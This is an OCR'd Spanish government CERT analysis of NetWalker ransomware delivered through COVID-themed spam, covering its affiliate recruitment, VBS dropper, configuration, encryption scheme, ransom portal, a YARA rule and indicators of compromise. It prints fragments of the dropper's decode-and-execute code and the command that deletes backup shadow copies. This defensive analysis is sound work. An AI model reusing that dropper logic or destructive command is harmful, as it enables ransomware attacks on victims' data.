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LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos, rechazando
expresamente cualquier tipo de garantia implicita que se pueda encontrar relacionada. En ningun caso,
el Centro Criptoldgico Nacional puede ser considerado responsable del dafio directo, indirecto, fortuito
o extraordinario derivado de la utilizacién de la informacion y software que se indican incluso cuando se
advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional, bajo las
sanciones establecidas en las leyes, la reproduccién parcial o total de este documento por cualquier
medio o procedimiento, comprendidos la reprografia y el tratamiento informatico, y la distribucion de
ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT, CERT GUBERNAMENTAL NACIONAL

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad de la
Informacién del Centro Criptoldgico Nacional, CCN, adscrito al Centro Nacional de
Inteligencia, CNI. Este servicio se cred en el afio 2006 como CERT Gubernamental
Nacional espaiiol y sus funciones quedan recogidas en la Ley 11/2002 reguladora del
CNI, el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador
del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de
octubre.

Su misién, por tanto, es contribuir a la mejora de la ciberseguridad espafiola,
siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de
forma rapida y eficiente a los ciberataques y a afrontar de forma activa las
ciberamenazas, incluyendo la coordinacién a nivel publico estatal de las distintas
Capacidades de Respuesta a Incidentes o Centros de Operaciones de Ciberseguridad
existentes.

Todo ello, con el fin Ultimo de conseguir un ciberespacio mas seguro y confiable,
preservando la informacidn clasificada (tal y como recoge el art. 4. F de la Ley 11/2002)
y la informacién sensible, defendiendo el Patrimonio Tecnolégico espafiol, formando al
personal experto, aplicando politicas y procedimientos de seguridad y empleando y
desarrollando las tecnologias mas adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico del Sector
Publico es competencia del CCN-CERT la gestién de ciberincidentes que afecten a
cualquier organismo o empresa publica. En el caso de operadores criticos del sector
publico la gestidon de ciberincidentes se realizara por el CCN-CERT en coordinacién con
el CNPIC.
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2. RESUMEN EJECUTIVO

El presente documento recoge el anadlisis de la muestra de cdédigo daiiino
perteneciente a la familia de ransomware NetWalker, identificada por la firma SHA256
8639825230d5504fd8126ed55b2d7aeb72944ffe17e762801aab8d4f8f880160.

El objetivo del binario es cifrar los ficheros de los sistemas infectados, para
posteriormente, solicitar el pago de un rescate a cambio de la herramienta de
descifrado.

La reciente distribucion de esta campafa de malware, bajo correos electrénicos
que simulan aportar informacion sobre el estado de la situacién actual del Corona virus
(COVID-19), ha motivado el analisis de la muestra distribuida. Si bien no es ninguna
sorpresa que los grupos criminales se aprovechen de las situaciones de crisis para
utilizar la tematica en sus campanas, la criticidad de la situacién precisa de extremar
las medidas de seguridad, también en lo que respecta al ambito digital.

La muestra de ransomware NetWalker objetivo de analisis ha sido distribuida
utilizando un dropper desarrollado en Visual Basic Script (VBS), que se incluye como
fichero adjunto en la campafia de SPAM. Como peculiaridad, una vez recibido el correo
dafiino, no se precisa de conexidn a Internet, pues tanto el componente dropper como
el ransomware contienen toda la informacidn necesaria para desarrollar el proceso de
infeccidn y cifrado de forma offline.

3. DETALLES GENERALES

El componente dropper, distribuido bajo el nombre CORONAVIRUS COVID-
19.vbs, se identifica con la firma SHA256 que se muestra a continuacion.

Fichero SHA256

Dropper VBS 9f9027b5db5c408ee43ef2a7c7ddlaecbdb244ef6b16d9aafb599e8c40368967

Buscando referencias al hash del mismo, se puede encontrar que la primera
fecha de la que se tiene constancia de él en VirusTotal, es del 21 de marzo de 2020.

@ () 18 engines detected this file O 4
/58

9f9027b5db5c408eed3ef2a7c7dd1aecbdb244ef6b16d9aafb599eB8c40368967 664.65 KB 2020-03-21 21:11:52 UTC
. CORONAVIRUS_COVID-19.vbs Size 3 days ago
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Figura 1. Componente dropper en VirusTotal
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Su tamafio supera los 664 KB porque, como se detallard en el proceso de
infeccidn, el propio binario relativo al ransomware NetWalker se encuentra incluido
dentro del VBS.

Por su parte, la muestra de ransomware, ejecutable para sistemas Windows
protegido por un custom packer, se identifica con la firma SHA256 que recoge la
siguiente tabla.

Fichero SHA256

NetWalker.exe 8639825230d5504fd8126ed55b2d7aeb72944ffe17e762801aab8d4f8f880160

Su aparicién en VirusTotal data de una fecha previa a la que muestra el dropper
VBS, probablemente porque los actores monetizando su distribucidon lo hayan usado
en campanas anteriores.

S an
26 (1) 26 engines detected this file Cr 4y = ¥
171
863982523005504108126ed55b2d7 aeh72044ffe17762801aabBA4IBIBB0160 296.17 KB 2020-03-18 23:06:14 UTC %L

size 6 days ago EXE

’ WTVConverter.exe

oveday  peexe runtime-modules

Community
Seore

Figura 2. Ransomware NetWalker en VirusTotal

4. RANSOMWARE AS A SERVICE (RaaS)

De forma previa a entrar en detalles técnicos sobre los binarios analizados,
puede resultar de interés entender el modelo de negocio de los actores detras de
NetWalker. El proyecto lleva en marcha desde septiembre de 2019 y el pasado 19 de
marzo de 2020, el actor Bugatti abria la oportunidad a otros criminales de formar
parte de su programa de afiliados.
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© [NAPTHEPKA] NetWalker Ransomware [ Forow 1]

By Bugatti, March 19 in [Software] - malware, exploits, bundles, crypts
Start new topic Reply to this topic

Bugatti Posted March 19
byte
Y OTkpbiBaem Habop ageepTos nNo oGpaboTke ceTed u cnamy.

VIHTepecytoT Moy KoTopble PAGOTAT HA KAWECTBO, & HE Ha KONMYEeCTBO.
MpegnouteHne oTAaEM TeM KTO yMeeT paGoTaTk C KPYNHLIMA CETAMU U MMEET CBOI MaTepuan
HaBupaem orpaHnueHHoe YMCno NapTHEPOE W Npekpalaem Habop Ao ocBoBOKAEHNA MECT.
Mel npegnaraem Bam GLICTPLIA M rMBKOHACTpaMBaeMbIA Nokep, yAoOHYI0 agMWH NaHens B TOR, asTOMaTHYECKWi A cepeuc.
Jloctyn k cepeucy no kpunTy daiinoe ot AB.
Seller MpoeeperHbIM aaBepTam Bbi1aEM rOTOBLIA MaTepuan hopmaTa(iplyueTka aamMuHa gomeHa\nocTynsl K nasiHgo o6 AViHaseaHue opraHnsauuuirevenue)

AnsA obpaboTkn ceTei.
1 post

Joined Nokep paboTaeT ¢ ceHTABpA 2019 roga v xopowo cebs 3apekoMeHA0BaN, HE NOANENUT AellMthpoBKe.
oine

02/25/19 (ID- 91008) Bcio nogpoBHyto MHGOPMALIMIO 0 NOKepe W YCNOBWA PaBoTel NONyYMTE NocAe COCTaBNeHUA 3anakn & MV,
Deposit Popma 3anBkN:
1B 1) Mo kakomy Hanpaenexno paGoTaeTe.

2) Baw onbIT. C KakuMy NapTHEPKaMK yoke paBoTani W kakol Gein Baw npodnT.
3) Cko/nkko MMEeTE MATEPWUANA U KOTAA MOTOBLI MPUCTYNWTE, CKONBKO NnaHnpyeTe obpabaTsiBaTe maTepuana.

+ Quote 1=}

Figura 3. Apertura del programa de afiliados de NetWalker

El programa de afiliados en que se basa este modelo de Ransomware as a Service
(RaaS) se divide en dos partes. Por un lado los actores detras del desarrollo de
NetWalker, como indica Bugatti en su anuncio, ofrecen el propio ransomware, el panel
de administracién accesible desde TOR y la automatizacién del servicio en lo que
respecta a la gestiéon de pagos y herramientas de descifrado, como se describird en
posteriores secciones del documento.

La otra parte del negocio es la que ofrecen a un numero limitado de posibles
socios, que serian los encargados de distribuir el ransomware. Bugatti indica que los
socios idealmente distribuirian el malware bien a través de SPAM, como es el caso
objeto de andlisis, o bien a través de accesos ilicitos que se tengan garantizados a
redes internas de empresas donde desplegarian el cédigo dafiino. Actores que cuenten
con acceso a redes grandes, es decir, con un nimero elevado de equipos en los que
desplegar el ransomware, tendrian preferencia para formar parte del programa de
afiliados.

En el anexo A se facilita una traduccién automatica al espafol del anuncio
original mostrado en la figura 3.

5. PROCESO DE INFECCION

El proceso de infeccidon se inicia tras ejecutar el dropper, desarrollado en VBS,
que se incluye como adjunto en los correos electrénicos de la campafia de malspam.
En lugar de descargar el binario a ejecutar desde un servidor remoto, el propio
ejecutable correspondiente al cddigo daiino de NetWalker se encuentra incluido en el
dropper.
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5.1 Dropper

El componente dropper se divide en tres partes.

1. El fragmento de cédigo del VBS original, responsable de la ejecucién de un
segundo VBS protegido por una capa de encoding.

2. Un segundo cddigo en VBS responsable del decoding y ejecucién del binario
embebido.

3. Binario (NetWalker) a ser ejecutado, oculto bajo una capa de encoding.

En cuanto al fragmento de cddigo del VBS original, pese a que su tamafio supera
los 664 KB, las lineas de cddigo a ejecutar se muestran al completo en la siguiente
imagen.

41616, 44100, 43264, 44100, 43264, 41616, 44521, 42436, 42436, 43: 44521, 44944, 44100, 42025, 41616,
44521, 44944, 44521, 42849, 44521, 44944, 43681, 43681, 44100, 44100, 42025, 44100, 42849, 42025, 42436,
43681, 43264, 42436, 44944, 44521, 44521, 41616, 42025, 42025, 43681, 41616, 42025, 42849, 44944, 44521,
43264, 43681, 44944, 43681, 44944, 43264, 44108, 43681, 42849, 42436, 42025, 44944, 44100, 41616,
44521, 42025, 41616, 41616, 41616, 44944, 42436, 44521, 44100, 41616, 42436, 43264, 42025, 42025, 44100,

44944, 420825, 43681, 44180) : for nghICuKfvmalBTUKVVHLjwNRPGMyriPblQgnzQg = lbound(UhSCkpilgyaYOXAgGwhbKK)
to ubound(YecHkIPerXVgZDIbl) : noXghCyOTjVIDXioctQYgyHMmbH = sqr(UhSCkpilgyaYOXAgGuNbEK (
nghICuKfvmalBTUKVVHL jwNRPGMyriPblQgnzQg)) : ikWqcctDAwibpoPQNwYAy = sqr(YecHkJPerXVgZDJIbl(
nghICuKfvmalBTUKVVHL jwNRPGMyriPblQgnzQg)) : execute( “nnWNuPYWYaCQFPZdjUGTLkvgZYqOuHXb =
nnWNUPYWYaCQFPZdjUGTLkvgZYqOuHXb & chr(noXghCy0TjVIDXioctQYgyHMmbH - ikWqcctDAwibpoPQMwYAy)™) : next :
execute ( nnWNuPYWYaCQFPZdjUGTLkvgZYqOuHXb)

Figura 4. Fragmento de cédigo del VBS original

Mencionado fragmento se encarga de extraer de la lista de valores numéricos
que se observa en la imagen, un segundo VBS que iniciaria el proceso de
decodificacién (decoding) del binario.

xml = "Msxml2.DOMDocument™

ws = "WScript.Shell”

bin = “bin.b -

bs = “baseb4™

db = "Adodb.5tream”

Set wshs = createobject(ws)

filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\geSw.exe”
end if

Function a(n)
Dim i
abc
For i
n = replace(n, abc(i), ")
Next
a = replace(n,”*","/")
End Function

Figura 5. Decoding del binario embebido desde el segundo VBS

Del segundo VBS se extrae el método de encoding que protege al binario
embebido de disparar detecciones de soluciones de seguridad, tales como anti-virus y
filtros de SPAM. Del fragmento de texto en base64 en el que estd incluido el binario, se
eliminaran una serie de caracteres y se sustituirdn los asteriscos por barras invertidas.
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Set oXML = CreateObject(xml)

Set oNode = oXML.CreateElement(bs)
oNode .dataType = bin

oNode.text = strreverse(a(code))

Set BinaryStream = CreateObject(db)

BinaryStream.Type = 1

BinaryStream.Open

BinaryStream.Write olode.nodeTypedValue

BinaryStream.SaveloFile filepath

wshs .Exec(filepath)

WshShell.Popup "This file might not be the right file type, or it might be corrupted!™, 20, "Windows", @ + 48

Figura 6. Ejecucion del binario embebido desde el segundo VBS

Finalmente, se invertira la posicién de los valores de la cadena resultante antes
de realizar la decodificacién del base64, para ejecutar el binario en el directorio
temporal bajo el nombre qeSw.exe.

El mensaje falso de error que se aprecia en la captura anterior suele usarse para
no levantar sospechas en los usuarios que ejecutan este tipo de componentes
dropper/downloader, que en principio ejecutan/descargan malware que corre de
forma transparente al usuario.

Windows @

. lx This file might not be the right file type, or it might be corrupted!

Aceptar

Figura 7. Falso mensaje de error implementado en el segundo VBS

5.2 Ransomware NetWalker

El andlisis estatico de la muestra de ransomware es posible tras un proceso de
desempaquetado sobre el binario que ejecuta el dropper VBS. El custom packer
presenta una capa de proteccién adicional frente a la deteccion del ejecutable por
parte de soluciones de seguridad.

El proceso de ejecucién de NetWalker se divide cuatro apartados:

1. El codigo daiino importa las funciones de las librerias de Windows que
usara durante el resto de la ejecucién.

2. El fichero de configuracion del ransomware, donde se encuentran diversos
parametros relativos al cifrado y rescate, se extrae de los recursos del
ejecutable.

3. Inicializacién de variables, tales como el identificador del usuario afectado.
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4. Por ultimo, el procedimiento principal donde se llevaria a cabo el proceso
de cifrado de ficheros.

public start
start proc near

E8 BB 54 FF FF call get_imports
85 C@ test eax, eax
74 26 jz short end_main
'il
EB C2 79 FF FF call decrypt_and_parse_configuration
85 (@ test eax, eax
74 BE jz short exit process
I}I
FIZIE
E8 99 6D FF FF call init
85 C@ test eax, eax
74 @5 jz short exit process
E l
ol e =
EE C@ 12 e B@ call main
T
[l s +=]
exit_process: 3 kernel32 ExitProcess
E8 2B BS FF FF call get_imports_address
GA 81 push 1
8B 8@ 1C @1 @2 f/8 mow eax, [eax+11Ch]
FF D@ call eax 3 kernel32 ExitProcess

Figura 8. Desensamblado del punto de entrada de NetWalker

El cddigo daiiino trata de localizar las librerias de las que importa las funciones
necesarias para el proceso de ejecucién a través del andlisis de la estructura de datos
denominada PEB_LDR_DATA, que obtiene a través del Process Environment Block
(PEB). Esta estructura contiene informacién sobre los mdédulos cargados por el proceso
que NetWalker trata de localizar a través del CRC32 del nombre del mdédulo.
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loc_4@1CA3: 3 advapi32.dll

push BF16EDVERh

call get_module_by crc32
mov esi, eax

add esp, 4
test esi, esi

jnz short loc_481CF8

]

2]

push offset aAdvapi32pll ; “advapi3z2.dll”
lea eax, [esp+lCh+var_8]

push eax

mov eax, imports_address

mov eax, [eax+58h]

call eax 3 RtlInitUnicedeString
lea eax, [esp+l8h+var_C]

maov [esp+l8h+var_C], esi

push eax

lea eax, [esp+lCh+var_8]

push eax

mov eax, imports_address

push esi

push esi

mov eax, [eax+64h]

call eax 3 LdrlLoadDll

test eax, eax

js loc_481F5A

| |

Figura 9. Localizacion de la imagen base de las librerias

En caso de no localizar la libreria a través de su CRC32, se carga directamente
mediante la funcién LdrLoadDII. Una vez cargado el médulo en memoria, las funciones
que se trataran de importar se identifican de nuevo por el CRC32 del nombre de la
funcién, guardando su direccidn para su posterior uso una vez encontradas.

| |
ol e =
loc_4p28F4:
push 8146B671h
push esi
call get_import_by crc32
mov ecx, imports_address
push BC61FFA1Dh
push esi
Mo [ecx+23Ch], eax
call get _import by cre3z
may ecx, imports_address
add esp, 1&h
mov [ecx+24Bh], eax

|

Figura 10. Identificacién de funciones a importar a través de su CRC32

Se adelantaba que en los recursos del binario se encuentra el fichero de
configuracion del ransomware.
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Resource Hacker - MetWalker.exe EI@
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0000ECTS ([ED 81 64 0D D8 EC 04 EQ BA B4 6F 2E 4C AE A8 9E| | 4 o.L
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ooooECce |f66 47 B7 59 96 F3 2E 1D C6 A5 D7 &7 Bl &8F 24 73| ~ | f6 ¥ 3
5.058 Off. 0, Sel. 0

Figura 11. Fichero de configuracion cifrado, incluido en los recursos del binario

Este fichero no se encuentra en texto claro, sino cifrado bajo el algoritmo RC4 y
presenta las siguientes caracteristicas.

e El tamafio de la clave se especifica en el primer dword del recurso, marcado en
rojo.

e La propia clave se encuentra a continuacién del dword que indica su longitud,
marcada en verde.

e A continuacién de la clave, la configuracion cifrada y marcada en azul, se

extiende hasta el final del recurso.

Tras su descifrado, se obtiene el fichero JSON con los valores que personalizan la
campaia del afiliado.

fgDDn+sE04+mBhI j9vrLEK=",

Figura 12. Fichero de configuracién en formato JSON

USO OFICIAL

Centro Criptolégico Nacional




@l USO OFICIAL CN ) cm

CCN-CERT ID-05/20 Cdédigo Dainino NetWalker centro ariptolégico nadonal

La siguiente tabla describe el valor de cada clave del fichero de configuracion.

Clave Descripcion ‘
mpk Clave publica del par master, en base64 (Master Public Key)
mode Valor que identifica el modo de cifrar los ficheros
spsz Tamario del bloque a cifrar por cada fichero
thr Numero maximo de hilos para el proceso de cifrado
namesz Numero de caracteres que tomara el valor nombre de usuario
idsz Numero de caracteres que tomara el valor ID de usuario
Ifile Nombre de la nota de rescate
onion URL del portal de pago
lend Contenido de la nota de rescate, en base64
white Lista blanca de rutas, ficheros y extensiones que no deben ser cifrados
kill Procesos y servicios que finalizar antes de cifrar
net Recursos compartidos que cifrar
unlocker Otra lista blanca con rutas que no cifrar y procesos que no terminar

El modo de cifrado identifica como deben cifrarse los ficheros. En Ia
configuracion se observa un valor 0 en la clave mode, que resultara en que se cifren
varios blogues por cada fichero, siendo el tamafio del bloque como maximo el valor
asignado a la clave spsz, en este caso es de 15.360 bytes. Por su parte, un valor 1
asignado a la clave mode supondria que sdlo se cifrase el primer bloque del fichero,
siendo el bloque del tamano del valor asignado a la clave spsz.

Con el objetivo de garantizar que el sistema siga funcionando después del
cifrado, la clave white contiene una serie de rutas, ficheros y extensiones de fichero
gue el ransomware no cifrard. Por su parte, la clave kill contiene una serie de servicios
y procesos que el cédigo dafiino forzara a terminar su ejecucion. El objetivo es que
liberen los posibles ficheros que tengan abiertos y de esta manera poder cifrarlos sin
obtener el error de que el fichero se encuentra abierto por otro proceso.

En el anexo B se adjunta el fichero de configuracién completo.
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En la clave Ifile, se observa un valor “{id}’ que sera el identificador para cada
usuario afectado. Después de extraer y analizar la configuracion, el cédigo dafiino
deriva el ID de usuario del valor del hash SHA256 calculado a partir de los siguientes
valores:

e Nombre de equipo
e Hardware profile
e Clave publica del par master

Del hash SHA256 calculado se tomardn tantos caracteres como los indicados en
las claves namesz e idsz, para cada respectivo valor que representan dichas claves.
Para el ejemplo que se muestra en la siguiente figura, el ID de usuario seria ABCDEF,
gue ademas de ser el ID de usuario, serd el valor que se asignara a la extension afiadida
a cada fichero cifrado (.ABCDEF para el ejemplo). Por este motivo la extensién
asociada a esta familia de ransomware es Unica para cada equipo.

idsz
ABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCDEFABCD

namesz

Figura 13. Generacion del ID de usuario

Dentro del procedimiento principal, se lanzardn los hilos de ejecucion
encargados de finalizar los procesos y servicios indicados en la configuracion. Ademas,
antes de proceder al cifrado, se eliminaran las shadow copies ejecutando vssadmin.exe
con los parametros destinados a tal efecto. Eliminar las shadow copies impide que se
puedan recuperar los ficheros cifrados desde el back-up generado por el servicio
Volume Shadow Copy (VSS).

C:\Windows\system32\vssadmin.exe delete shadows /all /quiet

En cuanto al esquema de cifrado, se combina criptografia simétrica con
asimétrica. La criptografia asimétrica empleada por NetWalker esta basada en curvas
elipticas, donde la clave publica del par master que se incluye en la configuracién bajo
la clave mpk, se corresponde con una clave ECC (Elliptic Curve Cryptography) de 256-
bits. La pareja privada de esta clave se encuentra en poder del grupo ciber-criminal,
garantizando que Unicamente el descifrado sea posible previo pago del rescate.
Cuando se mencionaba que el ransomware funciona de forma offline, se hacia
referencia a que no se realiza ningun intercambio de claves con ningun servidor
remoto, debido a que el cédigo daiiino incluye la clave publica del par master y genera
por cada ejecucidén, los pares de claves asimétricas necesarias para garantizar la
robustez del esquema de cifrado.

Las parejas adicionales de claves asimétricas, asi como los secretos compartidos
de los que se derivan las claves simétricas con las que se cifran los ficheros usando el
algoritmo Salsa20, se generan a través del algoritmo Curve25519.
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Ll s =]
loc_1215DEF:
lea ecx, [esp+3Ch+var 24]
push ecx
call eax ; ntdll RtlRandom
mov [editesi], al
inc esi
cmp esi, 28h ; ' '
jb short loc 1215DC3
I |
L i
ebp 3 in BasePoint
edi ; in A_SecretKey - random @x28 bytes
ebx 3 out A PublicKey
curve25519

Figura 14. Generacion de pares adicionales de claves

En la fase de inicializacién, se generan dos parejas de claves asimétricas cuya
parte publica se escribe en el registro.

Q Editor del Registro EI@
Archive Edicion  Ver Favoritos  Ayuda
4 J-P Equipo “ || Nombre Tipo Datos
b -l HKEY_CLASSES ROOT H gﬂ(Predeterminado) REG_SZ (valor no establecido)
4 HIKEY_CURRENT_USER 4| abedefab REG_BIMNARY 21294 f0 566044 51466212 db3f98 72237709 ..
Editar valor binario (===

Nombre de valor:

abcdefab

Informacién del valor

o0oo |21 2F 94 FO 56 eB 44 51
0008 |46 62 12 DB 3F 98 74 23
o010 |77 09 60 D7 DA BE 89 ES
0018 |AC 67 EO 71 DC BE 76 1A
0020 |E3 00 22 8466 6C 94 E1| &
0028 [Be D4 84 EL A5 D5 DL 9% | 0. &
0030 |5B 4B 00 34 CF 82 76 7F -
0038 |08 FA OE E4 65 30 13 53
0040 |AF 53 70 18[CO 95 BS BE ™ .
004% CEF ED 66 9C [E2 CC 40 24| _if Rl $

0050 |BS 48 A9 73 3B 10 91 5B| pHes:. [

0058 |30 E9 14 BO 1A A1 29 80| 0&.7.1).

0060 |E6 FA& 40 4E 51 53 4E 71| »u@NQSNg -

| Equipo\HKEV_CURRENT_USER\Software\sbedefab |

ECC 256-bit Public Key A

=08

ECC 256-bit Public Key B

Figura 15. Escritura en el registro de las claves publicas de los pares generados

Si el proceso no cuenta con privilegios, el contenido de la clave de registro de la
imagen anterior se encontrard Unicamente en la clave HKEY_CURRENT_USER. Si el
proceso cuenta con privilegios de administrador, ademads también se escribird en la
clave HKEY_LOCAL_MACHINE. El nombre del valor se obtiene como se indicaba en la
figura 13, tomando tantos caracteres del hash SHA256 como indique la clave namesz
del fichero de configuracion.

Los ficheros cifrados no se exfiltran, por tanto la tendencia actual de extorsionar
a la entidad afectada a pagar el rescate a cambio de no liberar su informacién al
dominio publico, no aplica en esta ocasion.

En cada carpeta en la que se cifran ficheros se escribe también la nota de rescate
y tras concluir con el cifrado, el ejecutable se borra del equipo.
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6. RESCATE

Como indicaba Bugatti en el anuncio del programa de afiliados, el servicio de
gestidn de pagos y herramientas de descifrado es totalmente automatico. Cuando un
equipo se ve afectado por el ransomware NetWalker, las instrucciones para descifrar
los ficheros se muestran en un bloc de notas, como en el ejemplo a continuacién.

" | ABCDEF-Readme:bd: Eloc de notas == ]

Archivo Edicion Formate Ver Ayuda

Hil

vour files are encrygted by Netwalker.

A11 encrypted files for this computer has extension: .abcdef

If for some reason you read this text before the encryption ended,

this can be understood by the fact that the computer slows down,

and your heart rate has increased due to the ability to turn it off,

then we recommend that you move away from the computer and accept that you have been compromised.
rebooting/shutdown will cause you to lose files without the possibility of recovery.

our encryption algorithms are very strong and your files are very well protected,
the only way to get your files back is to cooperate with us and get the decrypter program.

Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.

For us this is just business and to prove to you our seriousness, we will decrypt you one file for free.
Just open our website, upload the encrypted file and get the decrypted file for free.

Steps to get access on our website:

1.pownload and install tor-browser: https://torproject.org/

2.0pen our website: rnfdsgméwbéj6sustxkekwdudya7kp2eatvu7déxhynScs4Tt4pdrgqgd. onion
3.Put your personal code in the input form:

{code_abcdef:

EEET R T B [ £ of S=ch R -ru':\_—l::-r;:-n-:-'n.—.r"E-
aee =Eadji e S e T T TETRTE S e
smEarENlkL e L rFpetadan =i i
L TR chattl o = TH P L
- RS O T o ol W st et et o] Sy R e

T T BT Y Ca ke T o= .
4 m | F

Figura 16. Nota de rescate

En la nota de rescate se facilita el sitio web accesible desde la red TOR, asi como
el codigo personal del usuario afectado, que usaria en el siguiente portal de acceso.
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Pay - Tor Browser

Pay b 1

» -ﬁi(—iﬁ' C @ & midsgmbwh6j6subtxkekwaudy4Tkp2eatvu7déxhynScsdlidpdrggd.onion === 77 § B 4

For enter, please use user code or user key
Buserier )
@Usercncle'

Captcha code

] @ [ Submit »

Figura 17. Portal de pago accesible desde TOR

Una vez identificado el usuario con su cédigo personal, se accede al portal con la
informacién de los tramites del pago del rescate. El precio inicial del software de
descifrado empieza en $1.000, pero se indica que subird a $2.000 de no completarse la
transaccién en los primeros siete dias posteriores al primer inicio de sesion en el

portal.
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Pay - Tor Browser

Pay x e

1) -ﬁ:(—:? G | @ & rnfdsgm6wh6j6subbxkekwaudy4 Tkp2eatvu7d6xhynScs4lt4pdrggd.onion - % s A é}

Payment ] [ Free decrypt ] [ FAQ ] [ Chat I [ Logout

Your files are encrypted
Only way to decrypt your files, is buy the decrypter program.
Your user key: =W LE, write it down and use it to log in again
The system is fully automated. After payment you will automatically be able to download the decrypter.

Invoice for payment [ You have left 6 days 23 hours 59 mi 24 seconds Status: Waiting for payment

You can buy the decrypter program for your computer(s).
The amount before the increase is 1000% (0.15080000 BTC).

If there is no payment before $tR2.20 [ & = B], the price will increase by x2 times and will be 2000% (0.30160000 BTC)

Decrypter for: COMPUTER(S): code_825-—

{cade_ Lild :
S
- E.0E

CIENTRC S RN I RLD PV Y i

HETH e b LI R

Bitcoin address:  34mE1bSDaMkpbufKRng2 GHQpRonwbnCdmt Amount for payment. 0.15080000 BTC

You payed: 0.00000000 BTC

Figura 18. Informacion sobre el pago del rescate

Como prueba de que el software de descifrado cumple su cometido, se ofrece el
descifrado gratuito de hasta tres ficheros que rednan una serie de caracteristicas. Sin
embargo, conviene no olvidar que subir ficheros para su descifrado presenta el
inconveniente critico de que se estaria cediendo la informacidon que contengan
directamente al grupo criminal.
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Pay - Tor Browser

Pay Pl +

D (&) C' @ & rmfdsgméwh6j6subtkekwaudy47kp2eatvu7d6xhynScs4ltdpdrggd.onion e 7 S B =

Payment || Freedeenpe || FaAQ || ot || Logom

For test we can upload and decrypt 3 images or document files free
File must be less than 3 megabyte.

Allow formats: jpg, jpeg, .png, .bmp, doc, .docx

Choose a file or drag it here

[ Upload and decrypt file free ]

Figura 19. Descifrado de hasta tres ficheros de forma gratuita

Ademas de las secciones descritas, el portal cuenta con un apartado de
preguntas frecuentes e incluso un chat de soporte, para aclarar dudas sobre el proceso
de descifrado.

La direccién del wallet que facilitan los actores para la recepcién del pago
(34mE1bSDaMkpbufKRng2GHQpRonwbnCdmt) ha recibido un total de O
transacciones hasta la fecha (30 de marzo de 2020).

Address 34mE1bSDaMkpbufKRng2GHQpRonwbnCdmt B
Format BASESS (P2SH)

Transactions 0

Total Received 0.00000000 BTC

Total Sent 0.00000000 BTC

Final Balance 0.00000000 BTC

Figura 20. Wallet destino de la transaccién
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Conviene destacar que es importante que ese numero de transacciones se
mantenga en 0. Por un lado, no existe ninguna garantia de que tras realizar el pago se
facilite la herramienta de descifrado. Por otra parte, proceder con el pago de los
rescates contribuye a la financiacidn del ciber-crimen, potenciando que los ataques no
solamente no cesen, si no que cuenten con mas recursos para el desarrollo de su
actividad.

La mejor medida de recuperacion frente a un despliegue de ransomware serd la
restauracion desde copias de seguridad, que deberan realizarse de manera continua y
deberan ser almacenadas de forma offline, protegiendo de tal manera que puedan ser
cifradas al verse comprometido alglin equipo de la red.

Se recomienda para ello la lectura del Informe de Amenazas CCN-CERT I1A-11/18
de medidas de seguridad contra ransomware disponible desde el portal del CCN-CERT.

7. DESINFECCION

Dada la naturaleza del cdédigo daiiino, no se requiere de un proceso de
desinfeccidn, puesto que no adquiere persistencia. Adema3s, el ejecutable responsable
del cifrado se elimina a si mismo tras finalizar su ejecucién.

En el caso del cifrado de los ficheros, el modelo de criptografia utilizado garantiza
que el descifrado sea Unicamente posible mediante el uso de la clave privada del par
master, que se encuentra en manos del grupo ciber-criminal.
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8. REGLAS DE DETECCION

8.1 Regla YARA

coN-cert

centro criptoldgico nadional

rule netwalker
{

meta:
date = "2020-03-25"

strings:
Sconfig_mpk = "mpk" ascii
Sconfig_mode = "mode" ascii
Sconfig_spsz = "spsz" ascii
Sconfig_namesz = "namesz" ascii
Sconfig_idsz = "idsz" ascii
Sconfig_Ifile = "Ifile" ascii
Sconfig_onion = "onion" ascii
Sconfig_lend = "lend" ascii
Sconfig_white = "white" ascii
Skernel32_dll = "kernel32.dIl" wide
Sadvapi32_dll = "advapi32.dil" wide
Smpr_dll = "mpr.dll" wide
Sshell32_dll = "shell32.dIl" wide
Snetapi32_dll = "netapi32.dll" wide
Sole32_dll = "ole32.dIl" wide
Soleaut32_dll = "oleaut32.dll" wide
Spsapi_dlIl = "psapi.dll" wide
Skernel32_dll_crc32 = {02 9F E6 6A}
Sadvapi32_dll_crc32 = {E0 D7 6E F1}
Smpr_dlIl_crc32 = {1C FE 42 7D}
Sshell32_dll_crc32 = {D8 BA Al C8}
Snetapi32_dll_crc32 = {6C 47 81 46}
Sole32_dll_crc32 = {A1 A0 69 EO}
Soleaut32_dll_crc32 = {3A 2C EC 20}
Spsapi_dll_crc32 = {8D AC CB 04}

condition: uint16(0) == 0x5A4D and (all of them)
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9. INDICADORES DE COMPROMISO

Dropper VBS — SHA256

9f9027b5db5c408ee43ef2a7c7ddlaecbdb244ef6bl6d9aafb599e8c40368967

Ransomware NetWalker — SHA256

8639825230d5504fd8126ed55b2d7aeb72944ffe17e762801aab8d4f8f880160

Ruta del binario ejecutado por el dropper VBS

%TEMP%\geSw.exe

Nota de rescate

[A-FO-9]{6}-Readme.txt

Claves de registro ‘

HKEY_CURRENT_USER\software\[A-F0-9]{8}

HKEY_LOCAL_MACHINE\software\[A-F0-9]{8}
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10. ANEXO A - Traduccion del programa de afiliados

Abrimos un conjunto de anuncios para procesar redes y spam.
Interesados en personas que trabajen por la calidad, no por la cantidad.
Damos preferencia a aquellos que puedan trabajar con grandes redes y tener su propio material.

Reclutamos un niumero limitado de socios y dejamos de reclutar hasta que queden vacantes.

Le ofrecemos un ransomware rapido y flexible, un panel de administracion en TOR y servicio
automatico.

Acceso al servicio mediante archivos de cifrado desde AV.

Para anuncios verificados, entregamos material preparado (IP \ cuenta del dominio admin \ acceso a
NAS \ informacion sobre AV \ nombre de la organizacion \ ingresos) para el procesamiento de redes.

El ransomware ha estado funcionando desde septiembre de 2019 y ha demostrado ser bueno, no se
puede descifrar.

Recibird toda la informacion detallada sobre el ransomware y las condiciones de trabajo después de
compilar la aplicacién en el mensaje privado.

Formulario de solicitud:
